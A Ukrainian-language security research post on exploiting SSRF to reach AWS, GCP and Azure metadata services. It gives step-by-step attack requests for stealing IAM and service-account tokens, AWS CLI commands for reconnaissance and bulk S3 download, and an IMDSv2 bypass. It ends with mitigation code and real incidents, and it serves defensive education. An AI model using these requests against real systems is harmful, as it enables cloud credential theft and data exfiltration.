Research / SSRF → хмарні метадані: від вразливості до витоку ключів AWS
RESEARCH
UA EN

SSRF → хмарні метадані: від вразливості до витоку ключів AWS

✍ admin 📅 31.05.2026 👁 105

Передмова

SSRF (Server-Side Request Forgery) перетворилась із "цікавої" вразливості в критичну з масовим переходом інфраструктури до хмари. У AWS, GCP і Azure існують metadata сервіси — внутрішні HTTP ендпоінти доступні лише з EC2/VM інстансу. Вони повертають IAM credentials, SSH ключі, конфіги — все що потрібно для захоплення акаунту.

Саме так злам Capital One у 2019 році скомпрометував дані 100 мільйонів клієнтів — через SSRF → AWS metadata → IAM role credentials.


Як це працює

1. Знайдена вразливість SSRF на app.target.com
2. Сервер запущений на AWS EC2
3. Всередині EC2 доступний http://169.254.169.254/ (link-local)
4. Атакуючий змушує сервер зробити запит до metadata service
5. Отримує IAM role credentials (AccessKeyId, SecretAccessKey, Token)
6. Використовує credentials для доступу до всіх AWS ресурсів

Крок 1: Виявлення SSRF

# Шукаємо параметри де передається URL
GET /api/fetch?url=https://example.com HTTP/1.1
POST /webhook HTTP/1.1
{"callback_url": "https://example.com/notify"}

# Шукаємо URL параметри у:
# - Завантаженні зображень/документів
# - Webhook налаштуваннях
# - PDF/screenshot генераторах
# - URL preview
# - Import from URL функціях

Підтвердження через DNS callback:

GET /api/fetch?url=http://UNIQUE.interact.sh/ HTTP/1.1
# Якщо прийшов DNS запит - є SSRF

Крок 2: Виявлення хмарного середовища

# AWS EC2
http://169.254.169.254/

# Якщо відповів - AWS. Перейти до:
http://169.254.169.254/latest/meta-data/

# GCP (Google Cloud)
http://metadata.google.internal/
http://169.254.169.254/computeMetadata/v1/

# Azure
http://169.254.169.254/metadata/instance

Крок 3: Отримання AWS IAM Credentials

# Список доступних metadata
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/

# Відповідь:
ami-id
hostname
iam/
instance-id
instance-type
local-ipv4
...

# Знайти IAM role
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Відповідь: назва ролі
WebAppRole

# Отримати credentials
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole

Відповідь:

{
  "Code": "Success",
  "LastUpdated": "2024-01-15T10:00:00Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAXXXXXXXXXXX",
  "SecretAccessKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
  "Token": "IQoJb3JpZ2luX2VjEA...",
  "Expiration": "2024-01-15T16:00:00Z"
}

Крок 4: Використання Credentials

# Налаштувати AWS CLI
export AWS_ACCESS_KEY_ID=ASIAXXXXXXXXXXX
export AWS_SECRET_ACCESS_KEY=xxxxxxxxxx
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEA...

# Перевірити хто ми
aws sts get-caller-identity
# Відповідь: AccountId, Arn (ім'я ролі)

# Розвідка
aws s3 ls                        # список бакетів
aws ec2 describe-instances       # всі EC2
aws iam list-roles               # список ролей
aws secretsmanager list-secrets  # секрети

# Завантажити все з S3
aws s3 cp s3://target-prod-data/ ./data/ --recursive

# Якщо є права iam:PassRole або ec2:RunInstances:
# Можна запустити нову EC2 з адмін роллю і захопити акаунт

Крок 5: IMDSv2 і обхід

AWS ввів IMDSv2 (Instance Metadata Service v2) — захист від SSRF через обов'язковий PUT запит з session token перед GET.

# IMDSv2 захист
curl -X PUT "http://169.254.169.254/latest/api/token"      -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
# Відповідь: TOKEN

curl -H "X-aws-ec2-metadata-token: TOKEN"      "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Обхід IMDSv2 через SSRF (якщо додаток підтримує заголовки):

POST /api/proxy HTTP/1.1
{
  "url": "http://169.254.169.254/latest/api/token",
  "method": "PUT",
  "headers": {"X-aws-ec2-metadata-token-ttl-seconds": "21600"}
}

Деякі SSRF векторні точки (curl, wget у backend) можуть виконувати PUT запити якщо додаток передає метод або заголовки.


GCP Metadata Service

# GCP вимагає заголовок
curl -H "Metadata-Flavor: Google"      "http://metadata.google.internal/computeMetadata/v1/"

# Отримати service account token
curl -H "Metadata-Flavor: Google"      "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Відповідь:
{"access_token": "ya29.XXXX", "token_type": "Bearer", "expires_in": 3599}

# Використання
curl -H "Authorization: Bearer ya29.XXXX"      "https://storage.googleapis.com/storage/v1/b"  # список бакетів

Azure Metadata

curl -H "Metadata: true"      "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

Захист

# 1. Whitelist дозволених URL/доменів
ALLOWED_HOSTS = ["api.example.com", "cdn.example.com"]
parsed = urlparse(user_url)
if parsed.hostname not in ALLOWED_HOSTS:
    raise ValueError("URL not allowed")

# 2. Блокування внутрішніх адрес
import ipaddress, socket

def is_safe_url(url):
    hostname = urlparse(url).hostname
    try:
        ip = ipaddress.ip_address(socket.gethostbyname(hostname))
        if ip.is_private or ip.is_loopback or ip.is_link_local:
            return False
    except:
        return False
    return True

# 3. Включити IMDSv2 на AWS EC2 (hop limit = 1)
# aws ec2 modify-instance-metadata-options #   --instance-id i-xxxx #   --http-tokens required #   --http-put-response-hop-limit 1

# 4. Виконувати fetch в окремому сандбоксі без доступу до внутрішньої мережі

Реальні кейси

Компанія Рік Вплив
Capital One 2019 100M клієнтських записів, IAM role abuse
Shopify 2020 Internal metadata access (bug bounty $25K)
Twitch 2019 SSRF до внутрішніх AWS сервісів
GitLab 2021 SSRF → Redis → RCE (CVE-2021-22214)
Коментарі (0)
Увійди, щоб залишити коментар.
Коментарів поки немає.
Вперше тут?
Новачок на Bastion?
Почни з гайду користувача.
Відкрити гайд →
?